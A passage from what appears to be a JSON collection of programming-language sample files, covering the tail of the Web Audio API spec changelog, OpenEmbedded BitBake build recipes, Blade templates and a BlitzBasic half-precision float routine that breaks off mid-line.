incomplete for AudioNode.connect()\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1805\">Issue #1805</a>: Exception ordering on error\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1790\">Issue #1790</a>: Automation example chart has an error (reversed function arguments\n* Fix rendering algorithm iteration and cycle breaking\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1719\">Issue #1719</a>: channel count changes in filter nodes with tail time\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1563\">Issue #1563</a>: Make decodeAudioData more precise\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1481\">Issue #1481</a>: Tighten spec on ABSN output channels?\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1762\">Issue #1762</a>: Setting convolver buffer more than once?\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1758\">Issue #1758</a>: Explicitly include time-domain processing code for BiquadFilterNode\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1770\">Issue #1770</a>: Link to correct algorithm for StereoPannerNode, mention algorithm is equal-power\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1753\">Issue #1753</a>: Have a single `AudioWorkletGlobalScope` per `BaseAudioContext`\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1746\">Issue #1746</a>: AnalyserNode: Clarify how much time domain data we're supposed to keep around\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1741\">Issue #1741</a>: Sample rate of AudioBuffer\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1745\">Issue #1745</a>: Clarify unit of fftSize\n* <a href=\"https://github.com/WebAudio/web-audio-api/issues/1743\">Issue #1743</a>: Missing normative reference to Fetch\n* Use \"get a reference to the bytes\" algorithm as needed.\n* Specify rules for determining output chanel count.\n* Clarified rendering algorithm for AudioListener.\n\t<h3 id=\"changestart2\">\n\tSince Working Draft of 19 June 2018\n\t</h3>\n* Minor editorial clarifications.\n* Update implementation-report.html.\n* Widen the valid range of detune values so that any value that doesn't cause 2^(d/1200) to overflow is valid.\n* PannerNode constructor throws errors.\n* Rephrase algorithm for setting buffer and curve.\n* Refine startRendering algorithm.\n* Make \"queue a task\" link to the HTML spec.\n* Specify more precisely, events overlapping with SetValueCurveAtTime.\n* Add implementation report to gh-pages.\n* Honor the given value in `outputChannelCount`.\n* Initialize bufferDuration outside of process() in ABSN algorithm.\n* Rework definition of ABSN output behavior to account for playbackRate’s interaction with the start(…duration) argument.\n* Add mention of video element in ultrasonic attack surface.\n\n<h3 id=\"changestart3\">\nSince Working Draft of 08 December 2015</h3>\n* Add AudioWorklet and related interfaces to support custom nodes. This replaces ScriptProcessorNode, which is now deprecated.\n* Explicitly say what the channel count, mode, and interpretation values are for all source nodes.\n* Specify the behavior of Web Audio when a document is unloaded.\n* Merge the proposed SpatialListener interface into AudioListener.\n* Rework and clean up algorithms for panning and spatialization and define \"magic functions\".\n* Clarify that AudioBufferSourceNode looping is limited by duration argument to start().\n* Add constructors with options dictionaries for all node types.\n* Clarify parameter automation method behavior and equations. Handle cases where automation methods may interact with each other.\n* Support latency hints and arbitrary sample rates in AudioContext constructor.\n* Clear up ambiguities in definitions of start() and stop() for scheduled sources.\n* Remove automatic dezippering from AudioParam value setters which now equate to setValueAtTime().\n* Specify normative behavior of DynamicsCompressorNode.\n* Specify that AudioParam.value returns the most recent computed value.\n* Permit AudioBufferSourceNode to specify sub-sample start, duration, loopStart and loopEnd. Respecify algorithms to say exactly how looping works in all scenarios, including dynamic and negative playback rates.\n* Harmonized behavior of IIRFilterNode with BiquadFilterNode.\n* Add diagram describing mono-input-to-matrixed-stereo case.\n* Prevent connecting an AudioNode to an AudioParam of a different AudioContext.\n* Added Audioparam cancelAndHoldAtTime\n* Clarify behaviour of AudioParam.cancelScheduledValues().\n* Add playing reference to MediaElementAudioSourceNodes and MediaStreamAudioSourceNodes.\n* Refactor BaseAudioContext interface out of AudioContext, OfflineAudioContext.\n* OfflineAudioContext inherits from BaseAudioContext, not AudioContext.\n* \"StereoPanner\" replaced with the correct \"StereoPannerNode\".\n* Support chaining on AudioNode.connect() and AudioParam automation methods.\n* Specify behavior of events following SetTarget events.\n* Reinstate channelCount declaration for AnalyserNode.\n* Specify exponential ramp behavior when previous value is 0.\n* Specify behavior of setValueCurveAtTime parameters.\n* Add spatialListener attribute to AudioContext.\n* Remove section titled \"Doppler Shift\".\n* Added a list of nodes and reason why they can add latency, in an informative section.\n* Speced nominal ranges, nyquist, and behavior when outside the range.\n* Spec the processing model for the Web Audio API.\n* Merge the SpatialPannerNode into the PannerNode, undeprecating the PannerNode.\n* Merge the SpatialListener into the AudioListener, undeprecating the AudioListener.\n* Added latencyHint(s).\n* Move the constructor from BaseAudioContext to AudioContext where it belongs; BaseAudioContext is not constructible.\n* Specified the Behavior of automations and nominal ranges.\n* The playbackRate is widened to +/- infinity.\n* setValueCurveAtTime is modified so that an implicit call to setValueAtTime is made at the end of the curve duration.\n* Make setting the `value` attribute of an `AudioParam` strictly equivalent of calling setValueAtTime with AudioContext.currentTime.\n* Add new sections for AudioContextOptions and AudioTimestamp.\n* Add constructor for all nodes.\n* Define ConstantSourceNode.\n* Make the WaveShaperNode have a tail time, depending on the oversampling level.\n* Allow collecting MediaStreamAudioSourceNode or MediaElementAudioSourceNode when they won't play ever again.\n* Add a concept of 'allowed to start' and use it when creating an AudioContext and resuming it from resume() (closes #836).\n* Add AudioScheduledSourceNode base class for source nodes.\n* Mark all AudioParams as being k-rate.\n\n<h2 id=\"acks\">\nAcknowledgements</h2>\n\nThis specification is the collective work of the W3C <a href=\"http://www.w3.org/2011/audio/\">Audio Working Group</a>.\n\nMembers and former members of the Working Group and contributors to the specification are (at the time of writing, and by\nalphabetical order):<br>\nAdenot, Paul (Mozilla Foundation) - Specification Co-editor;\nAkhgari, Ehsan (Mozilla Foundation);\nBecker, Steven (Microsoft Corporation);\nBerkovitz, Joe (Invited Expert, affiliated with Noteflight/Hal Leonard) - WG co-chair from September 2013 to December 2017);\nBossart, Pierre (Intel Corporation);\nBorins, Myles (Google, Inc);\nBuffa, Michel (NSAU);\nCaceres, Marcos (Invited Expert);\nCardoso, Gabriel (INRIA);\nCarlson, Eric (Apple, Inc);\nChen, Bin (Baidu, Inc);\nChoi, Hongchan (Google, Inc) - Specification Co-editor;\nCollichio, Lisa (Qualcomm);\nGeelnard, Marcus (Opera Software);\nGehring, Todd (Dolby Laboratories);\nGoode, Adam (Google, Inc);\nGregan, Matthew (Mozilla Foundation);\nHikawa, Kazuo (AMEI);\nHofmann, Bill (Dolby Laboratories);\nJägenstedt, Philip (Google, Inc);\nJeong, Paul Changjin (HTML5 Converged Technology Forum);\nKalliokoski, Jussi (Invited Expert);\nLee, WonSuk (Electronics and Telecommunications Research Institute);\nKakishita, Masahiro (AMEI);\nKawai, Ryoya (AMEI);\nKostiainen, Anssi (Intel Corporation);\nLilley, Chris (W3C Staff);\nLowis, Chris (Invited Expert) - WG co-chair from December 2012 to September 2013, affiliated with British Broadcasting Corporation;\nMacDonald, Alistair (W3C Invited Experts) — WG co-chair from March 2011 to July 2012;\nMandyam, Giridhar (Qualcomm Innovation Center, Inc);\nMichel, Thierry (W3C/ERCIM);\nNair, Varun (Facebook);\nNeedham, Chris (British Broadcasting Corporation);\nNoble, Jer (Apple, Inc);\nO'Callahan, Robert(Mozilla Foundation);\nOnumonu, Anthony (British Broadcasting Corporation);\nParadis, Matthew (British Broadcasting Corporation) - WG co-chair from September 2013 to present;\nPozdnyakov, Mikhail (Intel Corporation);\nRaman, T.V. (Google, Inc);\nRogers, Chris (Google, Inc);\nSchepers, Doug (W3C/MIT);\nSchmitz, Alexander (JS Foundation);\nShires, Glen (Google, Inc);\nSmith, Jerry (Microsoft Corporation);\nSmith, Michael (W3C/Keio);\nThereaux, Olivier (British Broadcasting Corporation);\nToy, Raymond (Google, Inc.) - WG co-chair from December 2017 - Present;\nToyoshima, Takashi (Google, Inc);\nTroncy, Raphael (Institut Telecom);\nVerdie, Jean-Charles (MStar Semiconductor, Inc.);\nWei, James (Intel Corporation);\nWeitnauer, Michael (IRT);\nWilson, Chris (Google,Inc);\nZergaoui, Mohamed (INNOVIMAX)\n"
  },
  {
    "path": "samples/BitBake/cmake.bbclass",
    "content": "#\n# Copyright OpenEmbedded Contributors\n#\n# SPDX-License-Identifier: MIT\n#\n\n# Path to the CMake file to process.\nOECMAKE_SOURCEPATH ??= \"${S}\"\n\nDEPENDS:prepend = \"cmake-native \"\nB = \"${WORKDIR}/build\"\n\n# What CMake generator to use.\n# The supported options are \"Unix Makefiles\" or \"Ninja\".\nOECMAKE_GENERATOR ?= \"Ninja\"\n\npython() {\n    generator = d.getVar(\"OECMAKE_GENERATOR\")\n    if \"Unix Makefiles\" in generator:\n        args = \"-G '\" + generator +  \"' -DCMAKE_MAKE_PROGRAM=\" + d.getVar(\"MAKE\")\n        d.setVar(\"OECMAKE_GENERATOR_ARGS\", args)\n        d.setVarFlag(\"do_compile\", \"progress\", \"percent\")\n    elif \"Ninja\" in generator:\n        args = \"-G '\" + generator + \"' -DCMAKE_MAKE_PROGRAM=ninja\"\n        d.appendVar(\"DEPENDS\", \" ninja-native\")\n        d.setVar(\"OECMAKE_GENERATOR_ARGS\", args)\n        d.setVarFlag(\"do_compile\", \"progress\", r\"outof:^\\[(\\d+)/(\\d+)\\]\\s+\")\n    else:\n        bb.fatal(\"Unknown CMake Generator %s\" % generator)\n}\nOECMAKE_AR ?= \"${AR}\"\n\n# Compiler flags\nOECMAKE_C_FLAGS ?= \"${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CFLAGS}\"\nOECMAKE_CXX_FLAGS ?= \"${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CXXFLAGS}\"\nOECMAKE_C_FLAGS_RELEASE ?= \"-DNDEBUG\"\nOECMAKE_CXX_FLAGS_RELEASE ?= \"-DNDEBUG\"\nOECMAKE_C_LINK_FLAGS ?= \"${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CPPFLAGS} ${LDFLAGS}\"\nOECMAKE_CXX_LINK_FLAGS ?= \"${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CXXFLAGS} ${LDFLAGS}\"\n\ndef oecmake_map_compiler(compiler, d):\n    args = d.getVar(compiler).split()\n    if args[0] == \"ccache\":\n        return args[1], args[0]\n    return args[0], \"\"\n\n# C/C++ Compiler (without cpu arch/tune arguments)\nOECMAKE_C_COMPILER ?= \"${@oecmake_map_compiler('CC', d)[0]}\"\nOECMAKE_C_COMPILER_LAUNCHER ?= \"${@oecmake_map_compiler('CC', d)[1]}\"\nOECMAKE_CXX_COMPILER ?= \"${@oecmake_map_compiler('CXX', d)[0]}\"\nOECMAKE_CXX_COMPILER_LAUNCHER ?= \"${@oecmake_map_compiler('CXX', d)[1]}\"\n\n# clear compiler vars for allarch to avoid sig hash difference\nOECMAKE_C_COMPILER:allarch = \"\"\nOECMAKE_C_COMPILER_LAUNCHER:allarch = \"\"\nOECMAKE_CXX_COMPILER:allarch = \"\"\nOECMAKE_CXX_COMPILER_LAUNCHER:allarch = \"\"\n\nOECMAKE_RPATH ?= \"\"\nOECMAKE_PERLNATIVE_DIR ??= \"\"\nOECMAKE_EXTRA_ROOT_PATH ?= \"\"\n\nOECMAKE_FIND_ROOT_PATH_MODE_PROGRAM = \"ONLY\"\n\nEXTRA_OECMAKE:append = \" ${PACKAGECONFIG_CONFARGS}\"\n\nexport CMAKE_BUILD_PARALLEL_LEVEL\nCMAKE_BUILD_PARALLEL_LEVEL:task-compile = \"${@oe.utils.parallel_make(d, False)}\"\nCMAKE_BUILD_PARALLEL_LEVEL:task-install = \"${@oe.utils.parallel_make(d, True)}\"\n\nOECMAKE_TARGET_COMPILE ?= \"all\"\nOECMAKE_TARGET_INSTALL ?= \"install\"\n\ndef map_host_os_to_system_name(host_os):\n    if host_os.startswith('mingw'):\n        return 'Windows'\n    if host_os.startswith('linux'):\n        return 'Linux'\n    return host_os\n\n# CMake expects target architectures in the format of uname(2),\n# which do not always match TARGET_ARCH, so all the necessary\n# conversions should happen here.\ndef map_host_arch_to_uname_arch(host_arch):\n    if host_arch == \"powerpc\":\n        return \"ppc\"\n    if host_arch == \"powerpc64le\":\n        return \"ppc64le\"\n    if host_arch == \"powerpc64\":\n        return \"ppc64\"\n    return host_arch\n\n\ncmake_do_generate_toolchain_file() {\n\tif [ \"${BUILD_SYS}\" = \"${HOST_SYS}\" ]; then\n\t\tcmake_crosscompiling=\"set( CMAKE_CROSSCOMPILING FALSE )\"\n\telse\n\t\tcmake_sysroot=\"set( CMAKE_SYSROOT \\\"${RECIPE_SYSROOT}\\\" )\"\n\tfi\n\n\tcat > ${WORKDIR}/toolchain.cmake <<EOF\n# CMake system name must be something like \"Linux\".\n# This is important for cross-compiling.\n$cmake_crosscompiling\nset( CMAKE_SYSTEM_NAME ${@map_host_os_to_system_name(d.getVar('HOST_OS'))} )\nset( CMAKE_SYSTEM_PROCESSOR ${@map_host_arch_to_uname_arch(d.getVar('HOST_ARCH'))} )\nset( CMAKE_C_COMPILER ${OECMAKE_C_COMPILER} )\nset( CMAKE_CXX_COMPILER ${OECMAKE_CXX_COMPILER} )\nset( CMAKE_C_COMPILER_LAUNCHER ${OECMAKE_C_COMPILER_LAUNCHER} )\nset( CMAKE_CXX_COMPILER_LAUNCHER ${OECMAKE_CXX_COMPILER_LAUNCHER} )\nset( CMAKE_ASM_COMPILER ${OECMAKE_C_COMPILER} )\nfind_program( CMAKE_AR ${OECMAKE_AR} DOC \"Archiver\" REQUIRED )\n\nset( CMAKE_C_FLAGS \"${OECMAKE_C_FLAGS}\" CACHE STRING \"CFLAGS\" )\nset( CMAKE_CXX_FLAGS \"${OECMAKE_CXX_FLAGS}\" CACHE STRING \"CXXFLAGS\" )\nset( CMAKE_ASM_FLAGS \"${OECMAKE_C_FLAGS}\" CACHE STRING \"ASM FLAGS\" )\nset( CMAKE_C_FLAGS_RELEASE \"${OECMAKE_C_FLAGS_RELEASE}\" CACHE STRING \"Additional CFLAGS for release\" )\nset( CMAKE_CXX_FLAGS_RELEASE \"${OECMAKE_CXX_FLAGS_RELEASE}\" CACHE STRING \"Additional CXXFLAGS for release\" )\nset( CMAKE_ASM_FLAGS_RELEASE \"${OECMAKE_C_FLAGS_RELEASE}\" CACHE STRING \"Additional ASM FLAGS for release\" )\nset( CMAKE_C_LINK_FLAGS \"${OECMAKE_C_LINK_FLAGS}\" CACHE STRING \"LDFLAGS\" )\nset( CMAKE_CXX_LINK_FLAGS \"${OECMAKE_CXX_LINK_FLAGS}\" CACHE STRING \"LDFLAGS\" )\n\n# only search in the paths provided so cmake doesnt pick\n# up libraries and tools from the native build machine\nset( CMAKE_FIND_ROOT_PATH ${STAGING_DIR_HOST} ${STAGING_DIR_NATIVE} ${CROSS_DIR} ${OECMAKE_PERLNATIVE_DIR} ${OECMAKE_EXTRA_ROOT_PATH} ${EXTERNAL_TOOLCHAIN} ${HOSTTOOLS_DIR})\nset( CMAKE_FIND_ROOT_PATH_MODE_PACKAGE ONLY )\nset( CMAKE_FIND_ROOT_PATH_MODE_PROGRAM ${OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM} )\nset( CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY )\nset( CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY )\nset( CMAKE_PROGRAM_PATH \"/\" )\n\n$cmake_sysroot\n\n# Use qt.conf settings\nset( ENV{QT_CONF_PATH} ${WORKDIR}/qt.conf )\n\n# We need to set the rpath to the correct directory as cmake does not provide any\n# directory as rpath by default\nset( CMAKE_INSTALL_RPATH ${OECMAKE_RPATH} )\n\n# Use RPATHs relative to build directory for reproducibility\nset( CMAKE_BUILD_RPATH_USE_ORIGIN ON )\n\n# Use our cmake modules\nlist(APPEND CMAKE_MODULE_PATH \"${STAGING_DATADIR}/cmake/Modules/\")\n\n# add for non /usr/lib libdir, e.g. /usr/lib64\nset( CMAKE_LIBRARY_PATH ${libdir} ${base_libdir})\n\n# add include dir to implicit includes in case it differs from /usr/include\nlist(APPEND CMAKE_C_IMPLICIT_INCLUDE_DIRECTORIES ${includedir})\nlist(APPEND CMAKE_CXX_IMPLICIT_INCLUDE_DIRECTORIES ${includedir})\n\nEOF\n}\n\naddtask generate_toolchain_file after do_patch before do_configure\n\nCONFIGURE_FILES = \"CMakeLists.txt *.cmake\"\n\ndo_configure[cleandirs] = \"${@d.getVar('B') if d.getVar('S') != d.getVar('B') else ''}\"\n\nOECMAKE_ARGS = \"\\\n    -DCMAKE_INSTALL_PREFIX:PATH=${prefix} \\\n    -DCMAKE_INSTALL_BINDIR:PATH=${@os.path.relpath(d.getVar('bindir'), d.getVar('prefix') + '/')} \\\n    -DCMAKE_INSTALL_SBINDIR:PATH=${@os.path.relpath(d.getVar('sbindir'), d.getVar('prefix') + '/')} \\\n    -DCMAKE_INSTALL_LIBEXECDIR:PATH=${@os.path.relpath(d.getVar('libexecdir'), d.getVar('prefix') + '/')} \\\n    -DCMAKE_INSTALL_SYSCONFDIR:PATH=${sysconfdir} \\\n    -DCMAKE_INSTALL_SHAREDSTATEDIR:PATH=${@os.path.relpath(d.getVar('sharedstatedir'), d.  getVar('prefix') + '/')} \\\n    -DCMAKE_INSTALL_LOCALSTATEDIR:PATH=${localstatedir} \\\n    -DCMAKE_INSTALL_LIBDIR:PATH=${@os.path.relpath(d.getVar('libdir'), d.getVar('prefix') + '/')} \\\n    -DCMAKE_INSTALL_INCLUDEDIR:PATH=${@os.path.relpath(d.getVar('includedir'), d.getVar('prefix') + '/')} \\\n    -DCMAKE_INSTALL_DATAROOTDIR:PATH=${@os.path.relpath(d.getVar('datadir'), d.getVar('prefix') + '/')} \\\n    -DPYTHON_EXECUTABLE:PATH=${PYTHON} \\\n    -DPython_EXECUTABLE:PATH=${PYTHON} \\\n    -DPython3_EXECUTABLE:PATH=${PYTHON} \\\n    -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')} \\\n    -DCMAKE_INSTALL_SO_NO_EXE=0 \\\n    -DCMAKE_TOOLCHAIN_FILE:FILEPATH=${WORKDIR}/toolchain.cmake \\\n    -DCMAKE_NO_SYSTEM_FROM_IMPORTED=1 \\\n    -DCMAKE_EXPORT_NO_PACKAGE_REGISTRY=ON \\\n    -DFETCHCONTENT_FULLY_DISCONNECTED=ON \\\n    -DCMAKE_EXPORT_COMPILE_COMMANDS:BOOL=ON \\\n\"\n\ncmake_do_configure() {\n\tif [ \"${OECMAKE_BUILDPATH}\" ]; then\n\t\tbbnote \"cmake.bbclass no longer uses OECMAKE_BUILDPATH.  The default behaviour is now out-of-tree builds with B=WORKDIR/build.\"\n\tfi\n\n\tif [ \"${S}\" = \"${B}\" ]; then\n\t\tfind ${B} -name CMakeFiles -or -name Makefile -or -name cmake_install.cmake -or -name CMakeCache.txt -delete\n\tfi\n\n\t# Just like autotools cmake can use a site file to cache result that need generated binaries to run\n\tif [ -e ${WORKDIR}/site-file.cmake ] ; then\n\t\toecmake_sitefile=\"-C ${WORKDIR}/site-file.cmake\"\n\telse\n\t\toecmake_sitefile=\n\tfi\n\n\tcmake \\\n\t  ${OECMAKE_GENERATOR_ARGS} \\\n\t  $oecmake_sitefile \\\n\t  ${OECMAKE_SOURCEPATH} \\\n\t  ${OECMAKE_ARGS} \\\n\t  ${EXTRA_OECMAKE} \\\n\t  -Wno-dev\n}\n\n# To disable verbose cmake logs for a given recipe or globally config metadata e.g. local.conf\n# add following\n#\n# CMAKE_VERBOSE = \"\"\n#\n\nCMAKE_VERBOSE ??= \"VERBOSE=1\"\n\n# Then run do_compile again\ncmake_runcmake_build() {\n\tbbnote ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' \"$@\" -- ${EXTRA_OECMAKE_BUILD}\n\teval ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' \"$@\" -- ${EXTRA_OECMAKE_BUILD}\n}\n\ncmake_do_compile()  {\n\tcmake_runcmake_build --target ${OECMAKE_TARGET_COMPILE}\n}\n\ncmake_do_install() {\n\tDESTDIR='${D}' cmake_runcmake_build --target ${OECMAKE_TARGET_INSTALL}\n}\n\nEXPORT_FUNCTIONS do_configure do_compile do_install do_generate_toolchain_file\n"
  },
  {
    "path": "samples/BitBake/gstreamer-libav.bb",
    "content": "include gstreamer1.0-libav.inc\n\nLIC_FILES_CHKSUM = \"file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \\\n                    file://COPYING.LIB;md5=6762ed442b3822387a51c92d928ead0d \\\n                    file://ext/libav/gstav.h;beginline=1;endline=18;md5=a752c35267d8276fd9ca3db6994fca9c \\\n                    file://gst-libs/ext/libav/LICENSE;md5=23a54f59b82572c203a559346e89ed57 \\\n                    file://gst-libs/ext/libav/COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \\\n                    file://gst-libs/ext/libav/COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \\\n                    file://gst-libs/ext/libav/COPYING.LGPLv2.1;md5=bd7a443320af8c812e4c18d1b79df004 \\\n                    file://gst-libs/ext/libav/COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02\"\n\nSRC_URI = \" \\\n    http://gstreamer.freedesktop.org/src/gst-libav/gst-libav-${PV}.tar.xz \\\n    file://0001-Disable-yasm-for-libav-when-disable-yasm.patch \\\n    \"\nSRC_URI[md5sum] = \"86540dee14d31daf976eb2713f2294f3\"\nSRC_URI[sha256sum] = \"585eb7971006100ad771a852e07bd2f3e23bcc6eb0b1253a40b5a0e40e4e7418\"\n\nLIBAV_EXTRA_CONFIGURE_COMMON_ARG = \"--target-os=linux \\\n  --cc='${CC}' --as='${CC}' --ld='${CC}' --nm='${NM}' --ar='${AR}' \\\n  --ranlib='${RANLIB}' \\\n  ${GSTREAMER_1_0_DEBUG}\"\n\nS = \"${WORKDIR}/gst-libav-${PV}\"\n\n"
  },
  {
    "path": "samples/BitBake/qtbase-native.bb",
    "content": "require qt5-git.inc\nrequire ${PN}.inc\n\ndo_install_append() {\n    # for modules which are still using syncqt and call qtPrepareTool(QMAKE_SYNCQT, syncqt)\n    # e.g. qt3d, qtwayland\n    ln -sf syncqt.pl ${D}${OE_QMAKE_PATH_QT_BINS}/syncqt\n}\n\nQT_MODULE_BRANCH = \"release\"\n# v5.2.1 + 168 commits\nSRCREV = \"08cbbde61778276ccdda73d89fd64d02c623779f\"\n\n"
  },
  {
    "path": "samples/BitBake/qtbase_%.bbappend",
    "content": "PACKAGECONFIG_GL:rpi = \"${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'gl', \\\n                        bb.utils.contains('DISTRO_FEATURES',     'opengl', 'eglfs gles2', \\\n                                                                       '', d), d)}\"\nPACKAGECONFIG_GL:append:rpi = \"${@bb.utils.contains('MACHINE_FEATURES', 'vc4graphics', ' kms', '', d)}\"\nPACKAGECONFIG_GL:append:rpi = \" gbm\"\nPACKAGECONFIG_FONTS:rpi = \"fontconfig\"\nPACKAGECONFIG:append:rpi = \" libinput examples tslib xkbcommon\"\nPACKAGECONFIG:remove:rpi = \"tests\"\n\nOE_QTBASE_EGLFS_DEVICE_INTEGRATION:rpi = \"${@bb.utils.contains('MACHINE_FEATURES', 'vc4graphics', '', 'eglfs_brcm', d)}\"\n\ndo_configure:prepend:rpi() {\n    # Add the appropriate EGLFS_DEVICE_INTEGRATION\n    if [ \"${@d.getVar('OE_QTBASE_EGLFS_DEVICE_INTEGRATION')}\" != \"\" ]; then\n        echo \"EGLFS_DEVICE_INTEGRATION = ${OE_QTBASE_EGLFS_DEVICE_INTEGRATION}\" >> ${S}/mkspecs/oe-device-extra.pri\n    fi\n}\nRDEPENDS:${PN}:append:rpi = \"${@bb.utils.contains('MACHINE_FEATURES', 'vc4graphics', '', ' userland', d)}\"\nDEPENDS:append:rpi = \"${@bb.utils.contains('MACHINE_FEATURES', 'vc4graphics', '', ' userland', d)}\"\n"
  },
  {
    "path": "samples/BitBake/tclibc-newlib.inc",
    "content": "#\n# Newlib configuration\n#\n\nLIBCEXTENSION = \"-newlib\"\nLIBCOVERRIDE = \":libc-newlib\"\n\nPREFERRED_PROVIDER_virtual/libc ?= \"newlib\"\nPREFERRED_PROVIDER_virtual/libiconv ?= \"newlib\"\nPREFERRED_PROVIDER_virtual/libintl ?= \"newlib\"\nPREFERRED_PROVIDER_virtual/nativesdk-libintl ?= \"nativesdk-glibc\"\nPREFERRED_PROVIDER_virtual/nativesdk-libiconv ?= \"nativesdk-glibc\"\n\nDISTRO_FEATURES_BACKFILL_CONSIDERED += \"ldconfig\"\n\n#USE_NLS ?= \"no\"\n\nIMAGE_LINGUAS = \"\"\n\nLIBC_DEPENDENCIES = \"\\\n    newlib-dbg \\\n    newlib-dev \\\n    libgloss \\\n    libgloss-dev \\\n    libgloss-dbg \\\n    libgcc-dev \\\n    libgcc-dbg \\\n    libstdc++-dev \\\n    libstdc++-staticdev \\\n    \"\n\nASSUME_PROVIDED += \"virtual/crypt\"\n\n# Its useful to be able to extend newlib, but we dont provide a native variant of libgloss\nNEWLIB_EXTENDED ?=  \"libgloss libgcc\"\nBASE_DEFAULT_DEPS:append:class-target = \" ${NEWLIB_EXTENDED}\"\n\nTARGET_OS = \"elf\"\nTARGET_OS:arm = \"eabi\"\n\nTOOLCHAIN_HOST_TASK ?= \"packagegroup-cross-canadian-${MACHINE} nativesdk-qemu nativesdk-sdk-provides-dummy\"\nTOOLCHAIN_TARGET_TASK ?= \"${LIBC_DEPENDENCIES}\"\nTOOLCHAIN_NEED_CONFIGSITE_CACHE:remove = \"zlib ncurses\"\n\n# disable pie security flags by default\nSECURITY_CFLAGS:libc-newlib = \"${SECURITY_NOPIE_CFLAGS}\"\nSECURITY_LDFLAGS:libc-newlib = \"\"\n"
  },
  {
    "path": "samples/BitBake/xorg-driver-common.inc",
    "content": "SUMMARY = \"X driver\"\nHOMEPAGE = \"http://www.x.org\"\nBUGTRACKER = \"https://bugs.freedesktop.org\"\nSECTION = \"x11/drivers\"\nLICENSE = \"MIT\"\n\nPE = \"2\"\n\nDEPENDS = \"virtual/xserver xorgproto util-macros\"\n\nXORG_DRIVER_COMPRESSOR ?= \".tar.bz2\"\nSRC_URI = \"${XORG_MIRROR}/individual/driver/${BPN}-${PV}${XORG_DRIVER_COMPRESSOR}\"\n\nFILES:${PN} += \" ${libdir}/xorg/modules/drivers/*.so\"\n\nXORGBUILDCLASS ??= \"autotools\"\ninherit ${XORGBUILDCLASS} pkgconfig features_check\n\n# depends on virtual/xserver\nREQUIRED_DISTRO_FEATURES = \"x11\"\n\n# FIXME: We don't want to include the libtool archives (*.la) from modules\n# directory, as they serve no useful purpose. Upstream should fix Makefile.am\ndo_install:append() {\n\tfind ${D}${libdir}/xorg/modules -regex \".*\\.la$\" | xargs rm -f --\n}\n\n# Function to add the relevant ABI dependency to drivers, which should be called\n# from a PACKAGEFUNC.\ndef _add_xorg_abi_depends(d, name):\n    # Map of ABI names exposed in the dependencies to pkg-config variables\n    abis = {\n      \"video\": \"abi_videodrv\",\n      \"input\": \"abi_xinput\"\n    }\n\n    output = os.popen(\"pkg-config xorg-server --variable=%s\" % abis[name]).read()\n    mlprefix = d.getVar('MLPREFIX') or ''\n    abi = \"%sxorg-abi-%s-%s\" % (mlprefix, name, output.split(\".\")[0])\n\n    pn = d.getVar(\"PN\")\n    d.appendVar('RDEPENDS:' + pn, ' ' + abi)\n\nSECURITY_LDFLAGS = \"${SECURITY_X_LDFLAGS}\"\n"
  },
  {
    "path": "samples/Blade/hello.blade",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <title>@yield('title', 'We love GitHub')</title>\n    @stack('scripts')\n    @stack('styles')\n</head>\n<body>\n    @include('partials.nav')\n\n    @yield('content')\n\n    <ul>\n        @foreach($foo as $bar)\n        <li>{{ $bar }}</li>\n        @endforeach\n    </ul>\n\n    {!! $raw_content !!}\n</body>\n</html>\n"
  },
  {
    "path": "samples/Blade/hello.blade.php",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <title>@yield('title', 'We love GitHub')</title>\n    @stack('scripts')\n    @stack('styles')\n</head>\n<body>\n    @include('partials.nav')\n\n    @yield('content')\n\n    <ul>\n        @foreach($foo as $bar)\n        <li>{{ $bar }}</li>\n        @endforeach\n    </ul>\n\n    {!! $raw_content !!}\n</body>\n</html>\n"
  },
  {
    "path": "samples/BlitzBasic/HalfAndDouble.bb",
    "content": "\nLocal bk = CreateBank(8)\nPokeFloat bk, 0, -1\nPrint Bin(PeekInt(bk, 0))\nPrint %1000000000000000\nPrint Bin(1 Shl 31)\nPrint $1f\nPrint $ff\nPrint $1f + (127 - 15)\nPrint Hex(%01111111100000000000000000000000)\nPrint Hex(~%11111111100000000000000000000000)\n\nPrint Bin(FloatToHalf(-2.5))\nPrint HalfToFloat(FloatToHalf(-200000000000.0))\n\nPrint Bin(FToI(-2.5))\n\nWaitKey\nEnd\n\n\n; Half-precision (16-bit) arithmetic library\n;============================================\n\nGlobal Half_CBank_\n\nFunction FToI(f#)\n\tIf Half_CBank_ = 0 Then Half_CBank_ = CreateBank(4)\n\tPokeFloat Half_CBank_, 0, f\n\tReturn PeekInt(Half_CBank_, 0)\nEnd Function\n\nFunction HalfToFloat#(h)\n\tLocal signBit, exponent, fraction, fBits\n\t\n\tsignBit = (h And 32768) <> 0\n\texponent = (h And %0111110000000000) Shr 10\n\tfraction = (h And %0000001111111111)\n\t\n\tIf exponent = $1F Then exponent = $FF : ElseIf exponent Then exponent = (exponent - 15) + 127\n\tfBits = (signBit Shl 31) 